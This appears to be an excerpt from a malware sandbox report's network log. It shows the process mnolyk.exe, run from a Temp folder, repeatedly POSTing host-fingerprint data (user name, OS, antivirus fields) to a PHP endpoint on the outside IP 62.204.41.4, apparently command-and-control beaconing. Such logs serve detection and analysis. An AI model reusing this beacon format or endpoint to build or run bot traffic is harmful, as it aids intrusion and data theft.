Feb 6, 2023 14:19:20.138555050 CET	764	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:20.204947948 CET	764	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
565	192.168.2.5	50255	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:20.388212919 CET	765	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:20.453283072 CET	765	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
566	192.168.2.5	50256	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:20.620518923 CET	766	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:20.685688972 CET	766	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
567	192.168.2.5	50257	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:20.856194973 CET	767	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:20.922713995 CET	767	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
568	192.168.2.5	50258	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:21.108803988 CET	768	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:21.177926064 CET	768	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
569	192.168.2.5	50259	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:21.359169960 CET	769	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:21.423146963 CET	769	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.2.5	49747	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:58.093214035 CET	258	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:58.160079002 CET	258	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
570	192.168.2.5	50260	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:21.606827974 CET	770	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:21.674019098 CET	770	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
571	192.168.2.5	50261	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:21.842035055 CET	771	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:21.908354044 CET	771	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
572	192.168.2.5	50262	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:22.073796988 CET	772	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:22.141985893 CET	772	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
573	192.168.2.5	50263	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:22.314338923 CET	773	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:22.379453897 CET	773	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
574	192.168.2.5	50264	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:22.564256907 CET	774	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:22.630848885 CET	774	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
575	192.168.2.5	50265	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:22.827156067 CET	775	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:22.892991066 CET	775	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
576	192.168.2.5	50266	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:23.059191942 CET	776	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:23.127336025 CET	776	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
577	192.168.2.5	50267	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:23.304553986 CET	777	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:23.369493961 CET	777	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
578	192.168.2.5	50268	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:23.543087006 CET	778	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:23.607664108 CET	778	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
579	192.168.2.5	50269	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:23.777740955 CET	779	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:23.841481924 CET	779	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.2.5	49748	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:58.336551905 CET	259	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:58.402678013 CET	259	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
580	192.168.2.5	50270	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:24.011353970 CET	780	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:24.077202082 CET	780	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
581	192.168.2.5	50271	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:24.244810104 CET	781	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:24.308454037 CET	781	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
582	192.168.2.5	50272	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:24.480079889 CET	782	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:24.546220064 CET	782	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
583	192.168.2.5	50273	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:24.721440077 CET	783	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:24.788153887 CET	783	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
